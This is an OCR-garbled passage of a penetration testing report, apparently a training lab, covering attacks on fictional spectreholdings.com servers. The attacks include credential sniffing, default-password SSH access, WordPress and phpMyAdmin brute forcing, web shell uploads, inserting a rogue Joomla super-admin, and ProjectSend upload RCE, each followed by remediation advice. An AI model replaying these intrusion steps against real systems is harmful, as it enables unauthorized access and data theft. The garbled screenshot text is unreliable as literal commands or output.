1436 424.197890 FeB0::71a7:7f5c :da6B:!ff02::1:3 LLMNR B4 standard query Oxf0la A wpad =

1437 424.198437 192.168.0.2 224.0.0.252 LLMNR 64 Standard query Oxf0la A wpad

1438 424.262417 172.20.20.2 192.168.0.2 TCP 1514 [TCP segment of a reassembled Pou]

1439 424, 262419 172.20,20.2 192.168.0.2 HTTP 1464 HTTP/1.1 302 Found (rext/html) : hd

< m >

Cookie: PHPSESSID=658075a5akbis ns08e8kb0q0? \rn ~ll
\ryn

3 .

= Line-based text data: application/x-wew-form-urlencoded =
username=admin&password=admin e

¢| Ll 3] |

01d0 65 6e 74 2d 54 79 70 65 3a 20 61 70 7O 6C 69 63 ent-Type @ Tic ~l
0led 61 74 69 6F 6e 2f 7B 2d 77 77 77 2d 66 6Ff 72 6d arion/x- www-Torm
01f0 2d 75 72 6c 65 6e 63 6F 64 65 64 Od Oa 52 65 66 -urlenco ded..Ref
0200 65 72 6572 3a 20 6B 74 74 70 3a 2f 2f 68 72 2e  erer: ht tli:,-",v'hr.
0210 73 70 65 63 74 72 65 68 oF 6C 64 69 6@ 67 73 2e spectreh oldings.
0220 63 6F 6d 2F 61 70 70 2f 6cC 6F 67 69 6 2e¢ 70 68 com/app/ login.ph
0230 70 Od O0a 41 63 63 65 70 74 2d 45 Ge 63 6f 64 69 p..aAccep t-Encodi
0240 Ge 67 3a 20 67 Ta 60 7O 2c 20 64 G5 66 6c 61 74 ng: gzip , deflat
0250 65 Od Oa 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 e..ACCEp T-Langua
0260 67 65 3a 20 65 6e 2d 55 53 2c 65 6e 3b 71 3d 30 ge: en-U S,en;qged
0270 2e 38 0d Oa 43 6f 6f 6b 69 65 3a 20 50 48 50 53 .B..cook ie: PHPS
5 53 53 49 44 3d 36 73 38 6f 37 35 61 35 61 6b ESSID=65 Bo75asak
0290 62 69 38 37 6d 73 30 38 65 38 6b 62 30 71 30 37 biB7ms08 e8kb0qgl?
d 0a 0d Qa 75 73 65 72 6e 61 6d 65 3d 61 64 6d
g%bg g? Ge 26 70 61 73 73 77 6F 72 64 3d 61 64 6d 69
Cl e

(© B | The full requested URI Gncluding host name... | Packets: 1751 Displayed: 1751 Marked: 0 Load time: (:00.045 | Profile: Default
Figure 19: ICE HRM Web App User Credential Found in Clear-text

Apart from the above findings, the Security Consultant discovered SSH service enabled on 10.10.20.6
from the NMAP scan, as shown in Figure 20.
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non-ideal).

incorrect results at http://nmap.org

i TF al0resses ( .'-1 15 ) sCann "'l.l in :;:-J ¥ .'-‘-l SeConi | S
Figure 20: SSH Service Running on 10.10.20.6

As part of the security assessment, the Security Consultant used Nessus in discovering network and
system based vulnerabilities. The Nessus vulnerability analysis results suggest that the host having an IP
address of 10.10.20.6 root account is set to default password.

Default Password (password) for ‘root’ Account Plugin Details
Severity Critical
Description =
ID: 24745
The account ‘root’ has the password “password'. An attacker may use it to gain further privileges on this version: $Revision: 1.19 §
system.
3 Type: remate
{ Farnily: Default Unix Accounts
Mote that Korenix Jetport installs are known to use these credentials although ather hosts are likely to as 4 Ao
ublhed: 2007 /0301
well as "password” is reportedly a common password, Published: 2007/03/01
Maodified: 2014/05/01

Solution

Risk Information
Set a strong password for this account or disable it.

Risk Factor: Critical

CVS5 Base Score; 10,0

See Also
CVES Vector: CWSS2#AVIN/ACL AN, K
1 ligtalt:ond 3fkorensc-and-onng-mse Cvss Temporal Vector: CYSS22EF/RLU/RCND
V55 Tempaoral Score; 9.5
Qutput
It was possible to sxec Vulnerability Information

.e1023 Exploit Available: true

Exploit Ease: Exploits are available

Part = Hests

vulnerability Pub Date: 200610413

Exploitable With

Ketaspion (55H User Code Execution)

Figure 21: SSH root Account’s Weak Password Discovered in Nessus
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Using the Metasploit Framework, the Security Consultant confirmed that the root account has weak
password that is set to default.

[ b) b}
Figure 23: Successful SSH Login to 10.10.20.6 via SSH Client
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Recommendations

e Apply security update and patch immediately.

e Always check for security updates and apply the latest service pack regularly.

e The Security Consultant was able to add Windows account on the target host, implement file
integrity management (FIM) to keep track changes on the system such as unauthorized account
changes and system modifications.

For the SSH weak password
e |t is strongly recommended to change the root account password with complexity such as a
combination of Alphanumeric and special characters. This should be done immediately to avoid
potential damage if compromised by attacker with malicious intent.
o Implement strong password policy such as a combination of Alphanumeric and special
characters.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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3.3. Challenge 3

Vulnerability Information

WordPress Username Enumeration

Web Application

HIGH

Development Flaw

Validation

Description

The WordPress is vulnerable to username enumeration. Tools such as WPScan allows a malicious
attacker to scan the blog for security holes and detects the version of WordPress, and version of all
plugins and cross-checks with a vulnerability database to see if there are any security threats with those
versions such as Responsive Thumbnail Slider plugin which is prone to an arbitrary file upload
vulnerability that allows an attacker to upload shell as an image. WPScan provides multiple ways to
discover the usernames of accounts on WordPress web application.

Impact

The attacker can utilized WPScan to exploit discovered vulnerabilities found in the vulnerability
database to enumerate user accounts and bruteforce the password using dictionary attack.

More Information

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487
https://nvd.nist.gov/vuln/detail/CVE-2017-5487
https://cxsecurity.com/cveshow/CVE-2017-5487
https://www.cvedetails.com/vulnerability-list/vendor_id-2337/product_id-4096

Narrative

The Security Consultant used Nikto web scanner to perform comprehensive test against the target web
application (finance.spectreholdings.com). It checked the server configuration items such as the
presence of multiple index files, HTTP server options, and attempted to identify installed web servers
and software among others.

As a result of the web scan test, it appeared that WordPress content management system (CMS) is the
running web application installed on the web server, as shown in Figure 24.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
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Figure 24: Nikto Scan Result for finance.spectreholdings.com

The Security Consultant performed vulnerability analysis using WPScan vulnerability scanner to remotely
scan the WordPress installations to find security issues. The result of the vulnerability scan provides key
information such as header, upload directory, WP version and other details that can be used to attack
the WordPress CMS web application. Apart from the aforementioned data, usernames were successfully
enumerated, as shown in Figure 25.

Word

Figure 25: Discovered WordPress User Credentials for finance.spectreholdings.com
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The Security Consultant attempted to bruteforce the accounts’ password. The “admin” user account was
successfully cracked using dictionary attack.

Figure 26: Cracked WordPress admin Account Password

The Security Consultant successfully logged in to the WordPress administration portal using the “admin”
user account. Please refer to Figure 27 for the administrator’s dashboard of WordPress.

Linux 8 Kali Docs KBExploit-DB WyAircrack-ng

@ Dashboard

Home

Dashboard

Welcome to WordPress!

Get Started Next Steps Maore Actions

At a Glance Quick Draft

Figure 27: Successful Access to WordPress Administration Portal
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The Security Consultant had sufficient control to the WordPress administration portal such as adding
users, changing settings et cetera.

@ |_-1. finance spectrenol dings.com/wp-scmi . [ V-é'-; [m_v a ﬂ L

B Most Visited~  [fJOffensive Security ", Kali Linux % Kali Docs [[RExploit-DB  WyAircrack-ng

WordPress 4.3.1 is avallable! Please update now,

An autormated WordPress update has failed to complete - plesse gitempt the update 89ain now,

Users add New

Search Users
Al (5] | Administratar (11 | Editor (1) | Author 2 ;
Bulk Actions :j Apply Change role to j Change ter
= - |
Usermname Mame E-mail Fole Posts
O admin admin@test.com Administrator
james jarmes cameran ames@abe.com Edtar
O robert Robart willams robert@abe.com author ¥
= Usermame Mame E-rrall Role Pasts
Bulk Actions =| = Apply 3 itame

Figure 28: WordPress Users List

Under “Media Library” administration section, the Security Consultant uploaded a Web shell script to
the web server. Through Web shell interaction method, the Security Consultant was able to gain access
to system shell and took over the server.

L |-‘x ance spectreholdings.com/wp-admin/upload php 'vCI |EV Soogle Q ﬁ L

B Most Visited  JljOffensive Security 8 Kali Linux 'S Kali Docs KJExploit-DB Wy Aircrack-ng

WordPress 4.3.1 is available! Please update now.

‘h & An autormated WordPress update has faled to complete - please attempt the update again now.

Library

Media Library addmnew

B Almediaitems »| Alldstes +|  Bulk Select

<2

acrshell. php

Thank you for creating with WordPress Get Version 4.3.1

~
—
(=]
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=
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o
N
—
c
2
@
—
()
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Figure 29: Uploaded Web Shell
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The exact URL of the Web shell can be found on the “Attachment Details” of the file, as shown in Figure
30.

* | & finance spectreholdings. com/w p-adn upload. php?item=13 ) Uel |ﬂV Google - Q m -

[ Most Visited~  []Offensive Security " Kali Linux ", Kali Docs  KNExploit-DB Wy Aircrack-ng

Attachment Details

= File name: acrihail php

File type:
< } Uploaded on: June 10, 20017
File size: 219 kB

URL [ http:ﬂhnante.'spettrtholdingt_!

Titha acrshel php

Caption

s.comwp-content/uploads

Dascription | hitp:/ffinance spectrehoiding
(2017106 /acrshellphp

Uploaded By admin

view attachment page | Edit more details |
Dalete Permananthy

Figure 30: URL of the Web Shell

The Web shell can be accessed using the URL provided from the “Attachment Details” information.

' [v’. snce spectrehaldings. com st ) 17/0 hall.ph ] vel_ |B'-' e Q q & v

EnMost Visited~  [flOffensive Security ", Kali Linux W Kali Docs JExploie-DB Wy Awerack-ng

Laglerer Terminal il (HvErT LEEEITIE] infp ml RETWRTE PrEcERTEl

ferver §F 0 37T A% 38 0 | e B 297 l6A.0D

TiAe § Sofved | % Jun DIT AT M 48

Lims JA%n 0 10 @-4-amped #1 T DERLES 3 30 ToCkRA1-Detebiud (JORE-00- ) Eie_ 4
Apache | PP £ 5 M

Adme aire CLTH Pty i Fied
£ LT I T b Qi ErWErE e AT 1T 240
[ 1 actien  BiR deon Gamran [ 2T 1Y e
wersbill phy ke Z10.73 08 At daoean Furmer B -JneIHT 172353
[T =|

» fileie), @ Falderie)

Figure 31: Web Shell Explorer
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The Security Consultant utilized the Web shell “Terminal” tab section to activate shell access to the
system. As shown in Figure 32, IPCONFIG command was executed to confirm the IP address of the target
system.

Explorer Terminal Eval Canvert batabase Info Hail lietwork Processes

Server IP : 172.19.20.3 | Your IP : 192.168.9.3

Time @ Server : 8% Jun 2817 17:36:48

Linux Jason 3.16, @-4-amded #1 SHP Debian 3,16, 7-ckill-1+debBu3 (2015-08-04) xBE_&4
Apache | PHP 5.5 38

[/=ifconfig
etha Link encap:Ethernet HWWaddr ©8:15:5d:16-88:bs
inet addr:172.19.28.3 Bcast:172.19 255 255 Mask:255 255.8.8
ineté addr: fes@::215:5dff:fels.b6f6d4 Scope:Link
UP BROADCAST RUNNIMGC MULTICAST MTU:1588 Metric:1
RX packets:171766 errors:8 dropped:@ overruns:® frame:8
TX packets:141203 errors:® dropped:@ overruns:@ carrier:g
collisions: 8 txqueuelen: 1888
RY bytes:38257799 (28.8 MiB) TX bytes:E8538265 (65.3 MiR)

Lo Link encap:Lecal Loopback

i inet addr:127.8.8.1 Hask:255.6.6.8

w ineté addr: ::1f128 Scope:Host
UP LOOPEACK RUMNIHG HMTU:855386 Metric:1
RX packets: 3208 errors: @ dropped:® overruns: @ frame:d
TX packets:32080 errors:8 dropped:® overruns:@ carrier:@
collisions: 8 txqueuelen:d
RX bytes:769524 (751.4 KiB) Tx bytes: 763524 (751.4 KiB)

Figure 32: Web Shell IFCONFIG Command Result of finance.spectreholdings.com

Using LOCATE command, the Security Consultant found a secret.txt files which contained sensitive data
such as account number detail and password to perform a transaction through the account.
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Explorer Terminal Eval convert Database Info Mail Network Processes
(17 LLUIL CliLap.LvLdL LUVpUaLR

inet addr:127.6.8.1 Mask:255.6.0.8

ineté addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:3200 errors:@ dropped:® overruns:@ frame:@

TX packets:3208 errors:@ dropped: 8 overruns:@ carrier:@

collisions:8 txqueuelen:@

RX bytes: 769524 (751.4 KiB) TX bytes:769524 (751.4 KiB)

/>locate secret.txt
/home/jason/Documents/.secret. txt
froot/. secret. txt
froot/. local/share/Trash/files/secret. txt

root/. local/share/Trashfinfofsecret.txt. trashinfo

)
/[>less [root/secret. txt

|, /root/secret. txt: No such file or directory
)
" (TT-less froot/ secret. txt .
Here is the account number: 12345678961

Jhi.s is the the password to perform transactions through the account: ubcdefa:lzsj

(7/>less [root/.local/share/Trash/files/secret. txt N
Here is the account number: 12345678961
\This is the the password to perform transactions through the account: abcdef@i23)

(7 />less home/jason/Documents/. secret.txt 3
Here is the account number: 12345678981
\This is the the password to perform transactions through the account: abcdefgi23)

Figure 33: Sensitive Data Found on finance.spectreholdings.com

Recommendations

e To stop user enumeration in WordPress, this can be done in one of two ways:
v" To block user-enumeration via functions.php, add the following code to the
theme’s functions file:

// Block WP Enum Scans
if (!is _admin()) {

// default URL format

if (preg match('/author=([0-9]*) /1",
$_SERVER[ 'QUERY_STRING' 1)) die();

add filter('redirect canonical'’,
'shapeSpace check enum', 10, 2);
}
function shapeSpace check enum(Sredirect, Srequest) {

// permalink URL format

if (preg match('/\?author=([0-9]*) (\/*)/i', Srequest))
die();

else return Sredirect;
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v Block requests at the server level by adding the following code snippet to the site’s root
.htaccess file:

# Block User ID Phishing Requests
<IfModule mod rewrite.c>
RewriteCond %{QUERY STRING} “author=([0-9]%)
RewriteRule .* http://example.com/? [L,R=302]
</IfModule>

e Moving the wp-content directory will help protect WordPress against some automated attacks.

e Do not use the 'admin' username because it is a prime target for password brute force attacks.

e Move the wp-config.php file one directory up, outside of the web root directory. WordPress will
look inside the web root directory for the wp-config.php file as well as within the directory
above it. This will help in minimizing the file being exposed to the Internet.

e Use a login lockdown plugin. WordPress by default does not limit the number of unsuccessful
login attempts which makes it susceptible to a password bruteforce attack. There are many
plugins which introduce this functionality as well as other login security features.

e Keep WordPress and its plugins updated. WordPress and plugin authors are constantly fixing
bugs and security issues within their code and releasing new versions. At the time of writing only
21.5% of WordPress blogs are running the latest version.

e Administration over SSL. The wp-login.php file is often accessed over un-encrypted channels
such as HTTP. By ensuring the connection is encrypted when you submit your login credentials
you reduce the risk of Man In The Middle (MITM) attacks. For further information see:
http://codex.wordpress.org/Administration_Over_SSL

e Use unprivileged database user for non-admin functionality (requires some WP code
modification). By default WordPress uses the same database user for all users, anonymous users
through to authenticated admins. With some code tweaks it is possible to use a lower privileged
database user for anonymous users, reducing the risk of database compromise.

e Don't use the default 'wp_' table prefix. By default WordPress uses the 'wp_' database table
prefix. This prefix makes it easy for attackers to guess table names. It is recommended that
alternative prefixes be used.

e Add a layer of protection to the wp-admin directory and the wp-login.php file with HTTP Basic
Authentication.

e |P whitelist the wp-login.php file. Most administrative users login to their blog via the same IP
address. By whitelisting access to the wp-login.php file to ensure that only specific IPs can access
it.

e Use a strong password such as a combination of Alphanumeric and special characters.

e Implement a mechanism to automatically detect a malicious Web Shell scripts on the web
server.

e Use Hypertext Transfer Protocol Secure (HTTPS) to protect the integrity and confidentiality of
data between the user's computer and the site.

e Adopt HTTPS in order to prevent the transmission of confidential data in clear text such as user
credential/password and session/cookie details.
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3.4. Challenge 4

Vulnerability Information

Weak Password

Web Application

HIGH

Configuration Flaw

Information

Description

The most prevalent and most easily administered authentication mechanism is a static password. The
password represents the keys to the kingdom, but is often subverted by users in the name of usability. A
password that is easy to detect both by humans and by computer. People often use obvious passwords
such as the names of their children, dictionary word or their house number in order not to forget them.
However, the simpler the password, the easier to detect and susceptible to bruteforce attack.

Impact

Weak passwords can make the company vulnerable to malicious attackers and may put the business at
risk.

More Information

http://itsecurity.telelink.com/weak-passwords
https://cwe.mitre.org/data/definitions/521.html
https://en.wikipedia.org/wiki/Password_strength

Narrative

The Security Consultant used Nikto web scanner to perform comprehensive test against the target web
application (techsupport.spectreholdings.com). It checked the server configuration items such as the
presence of multiple index files, HTTP server options, and attempted to identify installed web servers
and software among others.

As a result of the web scan test, it appeared that Joomla content management system (CMS) and
phpMyAdmin are the running web applications installed on the web server, as shown in Figure 34.
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ontaln spec

PHP rey

contain s

PHP revea

ntain sp

PHP rev

contain spec

‘administrator/: This might be
: This mi be inte

]!]1 De

found .
README
. License
ME : Apache Lt f ¢
Joomla! htac =3 = ¢ ile i. This should be removec

«to -h techsupport .spectreholdings

Figure 34: Nikto Scan Results for techsupport.spectreholdings.com

The Security Consultant performed various attacks against Joomla including but not limited to
Component JCE File Upload Remote Code Execution (joomla_comjce_imgmanager), Media Manager File
Upload Vulnerability (joomla_media_upload_exec), TinyBrowser File Upload Code Execution
(joomla_tinybrowser), and Bruteforce Login Utility (joomla_bruteforce login) using Metasploit
Framework but no success. However, bruteforce attack was performed using PATATOR against the
phpMyAdmin. The result of bruteforce attack for “root” account was successful, as shown in Figure 35.

arting Patator v0.5

: INFO
INFD

Figure 35: Cracked root Account Password for phpMyAdmin
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The Security Consultant successfully logged in as “root” to the phpMyAdmin portal, as shown in Figure
36.

€ | P & techiuppor specireholdings.com/ phomyadmin/indec phottcl W@ AT, v & || Q Seorch B U 4+ A B

phoMyAdmin | [

4 Databases [] SQL 4 Status 5 Processes = Privileges « Export =i Import ¥ More

2l s0l @ e =
General Setings [
NEURENEIR | Gcneral Settings My
4 mysql @ Change password » Senver Locathost via UNIX socket
i performance_schema = MyS0L connection collation g ulf$_general_ci i" » Server version: 5.5.44-O0ubuntul.12.04.1

= Protocol version: 10
# phpmyadmin * User: root@kocathost

i techsupport . * MySQL charset: UTF-8 Unicode (utf8)
|
) |
& Langoe | Engin g B

@ Theme / Style: | pmahomme B * Apache/2 2 22 (Ubuntu)

* Fontsze: | 82% [v] o MySOL client version: 55 44
« PHP axtension’ mysqli @

|
= Version information: 3.4.10. 1deb1
* Documentation
* Wiki
* Official Homepage
* Contribute
* Gt suppart 1|
» List of changes’

& More settings

Figure 36: Successful Login to phpMyAdmin

III

The Security Consultant browsed the “mysql” database using SELECT statement SQL query command to
extract usernames and passwords. MySQL users with their corresponding hashed passwords, as shown
in Figure 37.

FROM “user
LIMIT O, 30
[IProfiling [Inline] [ Edit ] [ Explain SQL ] [ Create PHP Code ] [ Refresh ]
| Show: | |3.u row(s) starting from row # |u i horizontal E mode and repeat headers after
100 | cells
Sort by key: | None [
+ Options
T - Host User Password Sele:
[0 & Edit & Inline Edit ¥ Copy @ Delete localhost | root *9CFBBCT72F3F6C106020035386DASBBBF 1249411 | Y
[] & Edit " Inline Edit 3¢ Copy @ Delete jason-  root “SCFBBCTT2F3FEC106020035386DASBBBF1249A11 | Y
wirtual-
machine ‘
[0 & Edit & Inline Edit ¥ Copy @ Delete 127.0.0.1| roat *SCFBBCTT2F3F6C106020035386DA5BBBF 1249411 | Y
[] & Edit o/ Inline Edit 3¢ Copy @ Delete -1 root “9CFBBCTT2F3F6C106020035386DA5BBBF 1249A11 ‘Y
[] ¢ Edit & Inline Edit 3 Copy © Delete localhost debian- *DAT932A03093CCOECO183888EE954TTDIABBEICE Y

sys-maint
[ &  Edit 7 Inline Edit ¥ Copy @ Delete localhost phpmyadmin *9CFBBCT72F3F6C106020035386DA5BBBF 1249411 ‘N

[0 & Edit & Inline Edit ¥¢ Copy @ Delete localhost | joomlauser | *4ADE07D44BC71EDSI6B5AIEBIIIAMI16A0CESF10 | Y
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Figure 37: MySQL Accounts List
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PENETRATION TESTING REPORT

The Security Consultant used John the Ripper password cracker in cracking the hash value of passwords.
It was successfully cracked the “root” account as well as the “phpmyadmin” username because they
have the same hash value. The “joomlauser” was also successfully cracked.

# john --format=m

hashes with

th no different

Figure 38: Cracked MySQL Accounts

The Joomla “w7z80_users” table under “techsupport” database was also extracted but it was not
possible to crack the “admin” username because the encryption format cannot be identified. Instead,
with the aim to access the Joomla administration portal, the Security Consultant inserted a user account
named “acrmaster” with MD5 hash for the password encryption.

SELECT
FROM "w7220_users
LIMIT O, 30
Profiling [Inline] [ Edit | [ Explain SAL ] [ Create PHP Code ] [ Refresh )
Show : 30 rowi{s) starting fromrow # |0 n  horizontal 3 mode and repeat headers after
100 cells
Sor by key: | None B
+ Options
—T — id pame username email password bla
[] & Edit & Inline Edit E-l': Copy @ Delete 251 Super | admin admin@test com  $2y510521g0MgPp1kueDOwW4LSp
User | VFCOomAATIMDSCHIBeG2N
[J & Edit . Inline Edit 3¢ Copy @ m;-.—.n-[z.r.? Super acimaster admin@lest com e?’.‘-!acﬂﬁ?eﬁBﬂHeBﬁai-Lindr.aebdMﬂ.G]
User

Figure 39: Added Joomla User as Administrator

After inserting the “acrmaster” username in the “w7z80 _users” table under “techsupport” database, the
Security Consultant added the “acrmaster” username to Super Admin group which is 8 as the group ID.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.

64



PENETRATION TESTING REPORT

SELECT
FROM "w7z80_user_usergroup_map’
LIMIT 0, 30
[T]Profiling [Inline] [ Edit ] [ Explain SAL ] [ Create PHP Code | [ Refresh |
| Show- | |30 row{s) starting from row # |0 m | horizontal El mode and repeat headers after
100 cells
Sort by key: | None El
+ Options
— T — user_id Fomign Key 1o #_wsess.d Qroup_id Forsign Key 1o #_ssergroups.id
[0 & Edit & Inline Edit 3¢ Copy @ Delete 251 8
[] & Edit . Inline Edit ¥ Copy @ Delete 252 8|

Figure 40: Joomla Administrators Group ID

The Security Consultant was successfully logged in to the Joomla administration portal as Super Admin
using the newly inserted “acrmaster” account. System information is shown in Figure 41 as proof.

€ & techsupport. spectreholdings.com/administrator -Idt--:'l'-c:.'li:-'--\ﬁ""’ﬂ@@. C || Q Search fr BE O 4 & B —

=
o i -
= 1

@ System Information

System Infarmation PHP Settings Configuration File Folder Permissions PHF Information

System Information

Satiing Valua
PHP Built On Linux @son-Vitual-Machine 3 11.0-15-genenc £25~precise1-Ubuntu SMP Thu Jan 30 1742 40 UTC 2014 686
Database Version 5.5 44-Oubuntud 12 04 1 u
Database Collation latin1_swedish_ci
PHP Version 5.3.10- Tubuntu3 19
Web Server Apache/2 2 22 (Ubuntu)
WebServer to PHP Interface apacheZhandler
Joomlal Version Joomia! 3.4 & Stable | Ember | §-September-2015 21:30 GMT
Joomla! Platform Version Joomila Platform 13 1.0 Stable [ Cunosity | 24-Ape-2013 00.00 GMT
User Agent Mozilia/5.0 (Windows NT 5.3; WOWGE4: rv39.0) Gecko/20100101 Firefox/39.0
ef Viewsne () visitor (@ aaminisrator & @) — Logout techsuppornt.spectreholdings, com/administ... ogoutiuh1 ble3 1c00effcTebeakc 1 badddece=1

Figure 41: Successful Login to Joomla Administrator Portal
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PENETRATION TESTING REPORT

Recommendations

e To mitigate the risk of easily guessed passwords facilitating unauthorized access, introduce
additional authentication controls (i.e. two-factor authentication).

e The simplest and cheapest of weak password is the implementation of a strong password policy
that ensures password length, complexity, reuse and aging.

e Implement FIM to track unauthorized changes on the system.

e Use Hypertext Transfer Protocol Secure (HTTPS) to protect the integrity and confidentiality of
data between the user's computer and the site.

e Adopt HTTPS in order to prevent the transmission of confidential data in clear text such as user
credential/password and session/cookie details.

~
—
o
(o]
=
=)
=
(o)
(=]
N
—
c
.2
7]
s
()
>

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.

66




PENETRATION TESTING REPORT

3.5. Challenge 5

Vulnerability Information

ProjectSend Arbitrary File Upload

Web Application

HIGH

Patch Management

Validation

Description

The Arbitrary File Upload vulnerability is due to an input validation error while parsing an HTTP request.
A remote attacker can exploit this to execute arbitrary code within the context of the application, via a
crafted HTTP request.

Impact

A malicious attacker can gain control to the vulnerable systems. The 'process-upload.php' file allows
unauthenticated users to upload PHP files resulting in remote code execution as the web server user.

More Information

https://www.cvedetails.com/cve/CVE-2014-9567

Narrative

The Security Consultant used Nikto web scanner to perform comprehensive test against the target web
application (admin.spectreholdings.com). It checked the server configuration items such as the presence
of multiple index files, HTTP server options, and attempted to identify installed web servers and
software among others.

As a result of the web scan test, it appeared that phpMyAdmin is installed on the web server and also

found an interesting folder called “install” which lead to more details to the success of compromising
the system.

@ arror(s and 29 item(s reported on remote host
Figure 42: Nikto Scan Results for admin.spectreholdings.com

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.

67

<
o
=
&,
o
=]
o
N
(=]
(o)}
—
=3
<
N
o
[
~N




~
—
(=]
(o]
=
>
=
(o)
o
N
—
c
2
@
—
()
>

PENETRATION TESTING REPORT

The interesting folder was navigated and found out that ProjectSend is currently installed on the web
server. ProjectSend is a self-hosted application that allows a company to upload files and assign them to
specific client.

€ | Af sdmin spectreholdings.cominstall ] ZWAd=BA®e Y - | A sean Te O 3+ A0

ProjectSend setup

Already installed
It seems thal ProjclSend is akeady installed here

If wois want 1o reinstall, please delete the syslem tables from the database and come back 1o

thi mstallaton form

Provded by PrajedSend veision 1514 - Free saftware

Figure 43: ProjectSend Setup Page

The Security Consultant successfully exploited the target host using ProjectSend Arbitrary File Upload
(projectsend_upload_exec) which allows unauthenticated user to upload PHP files resulting in remote
code execution. Below snapshots are evidences gathered as proof:

The Security Consultant used Metasploit Framework in exploiting the vulnerability and initiated a
command shell to further the attack.
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Figure 44: Remote Shell for admin.spectreholdings.com

The IP configuration of the exploited host shown below using IFCONFIG command. Using LOCATE
command, the Security Consultant found an “admin_files.txt” file which contained challenge key.

ifcontig
ethe

B8 95 [
55.255.0

frame:0
runs:@ carrier:0

(11.4 MB)

frame:0
si0-carrier:0

./ KB)

Figure 45: Sensitive Data Found on admin.spectreholdings.com
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Recommendations

e Check with the vendor for patch for this issue.

e Report the bug to ProjectSend developer to fix the defect.

e Use Hypertext Transfer Protocol Secure (HTTPS) to protect the integrity and confidentiality of
data between the user's computer and the site.

e Adopt HTTPS in order to prevent the transmission of confidential data in clear text such as user
credential/password and session/cookie details.
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3.6. Challenge 6

Vulnerability Information

Default Username and Password, Malicious Image File Upload

Web Application

HIGH

Development Flaw

Validation

Description

Web applications often make use of popular open source or commercial software that can be installed
on servers with minimal configuration or customization by the server administrator. Often these
applications, once installed, are not properly configured and the default credentials provided for initial
authentication and configuration are never changed. These default credentials are well known by
penetration testers and, unfortunately, also by malicious attackers, who can use them to gain access to
various types of applications. Furthermore, in many situations, when a new account is created, a default
password (with some standard characteristics) is generated. If this password is predictable and the user
does not change it on the first access, this can lead to an attacker gaining unauthorized access to the
application.

Impact

A malicious attacker can gain unauthorized access to the web application.

More Information

https://www.us-cert.gov/ncas/alerts/TA13-175A
https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet
http://icehrm.blogspot.com/2013/03/ice-hrm-installation.html

Narrative

The Security Consultant navigated to http://hr.spectreholdings.com/app/login.php and analyzed the
login page source code, as shown in Figure 47. It appeared that the web application is IceHRM. IceHRM
is a human resource management system (HRMS) for small and medium sized organizations. It covers all

the basic HRM needs of a company such as leave management, time management and handling
employee information.
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|1 1HRMS Login IEY
@ ‘G nr.spectreholdings.com/app/legin php ~ e_] [ﬁv Google Q] @
i Most Visited~ [J]Offensive Security ™ Kali Linux ™ Kali Docs EBExploit-DB W Aircrack-ng

A | Usernama
B Password

Signin +

Farget passward

Figure 46: ICE HRMS Login Page

Llogin-forn o
nargin-left: &5px:

legend {
nargin-right: -56px:
font-weight: bold:
color: #404040;

</style>

=/head=

<hody=

2l oo

<script=

(Function(i,s o.q,r.a m{i[ Googledmalyticstbrect' J=riilr]=tir] | | Function! ){
(ilr]. q=t{rl. gl 117}, pushiar sl ilr]. 1=1*new Datel):a=s createtliementiol,

m=5. getEl ement sByTagVame( o) [8] ;2. async=1!a. sro=g;m. parentNode. L nsertBefore(a, m)
31 (windew, document, "script', '//172.28. 28, 2fanalytics, js', 'ga');

gal'create’, 'UA-48048578-2". |icehrm. com' ):
gal 'send', 'pageview'):

</seript>
-

cscript type="text/javascript”s
var key = "";

${document) . ready (function(] {
4 (window) . keydown (function {(event){
iflevent. keyCode == 13) {
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return Talse:

3
§(#password ). keydown (function (event){
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Figure 47: ICE HRMS HTML Source Code
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The user credential that was found in NetworkTraffic.pcap which is the default username and password
for IceHRM was used to logged in successfully to the web-based HRMS.

@ ld nr. spactreholdings.com/app/?g =admin&n=company._strue turem=admin _A dmir Vel lﬁv Google Q7 e

[ Most Visited~ O fensive Security W Kali Linux W, Kali Docs KBExploit-DB Wy Aircrack-ng

lce Hrm €4 switch Employee L james -
™ Jamesp Company Structure
P ool in
i Admin & Company Structure Company Graph

* Company Structure

» Monitor Attendance

*» Employees

» jobs

» ’f;-uaur'zin::nu parent

3 Projects MName Address Type Country Structure

¥ mment Your Company Compary United A A

Management states

» Company Loans

Head Office PO Box 001002 Sample Road, Head Office  United Your Comparny A 2

* Leaves Sample Town States

¥ ke Calercal Marketing PO Box 001002 Sample Road, Department  United Head Office A A
il Reports < Department Sample Town States

Showing 1 to 3 of 3 entries « Previ . Newt =

HE System £

B! Personal information ¢
Leoking up www.google-analytics.com...

%
Figure 48: Successful Login to ICE HRMS

The Security Consultant attempted to upload the Web shell PHP script through “Upload Profile Image”
under Profile Basic Information. The upload attempt was successful.

('_ ﬂh‘-mwldnwum 2pp(Tg=madulesdn= employees NQ >~ A®e® * C| A Seorch TEeE O 4+ a8 =

Upload File

+ [Bs » ThisPC » Locel Disk (C) » v o| Search Local Disk (C) )

=~ e

Name Date modified Type

A Perflogs /22 8:52 File foide
4 Program Files 1 File foldeis
4. Program Files (x86) ¥ B File fioldel
ProgramData 06 A Fite folde:
4 Users ) File foide
A Windows / 511:53PM  File folde
L and 6/8/2017 5:40 PM RND File
| acrshellphp BS201TE34PM  PHP File

e Local Disk (C) |
ks ECSA-Tools (E) |

€ Netwark vlle]
File name: | acrShell,php | |anFies 7)
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Figure 49: Uploaded Web Shell via Upload Profile Image
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As shown in Figure 50, the default profile image was replaced with unknown image file.
f ] hrapectrcholdimgs.com/spp. Tgs modules&ns employees \.n"‘"-‘: E@E. || O Search ﬁ ﬂ u L 3 ﬂ B =

1 James ~ [ = EEE

% Switch Employee

lce Hm

Uletinags Jewmes P Basic Information rerzonai normanan

@ Logged in

Hi Admin ~

» Company Structure

» Maonitor Aftendance

» Employees Ectinfe  UpicadProfieimage  Delele Prodie image
» Jobs
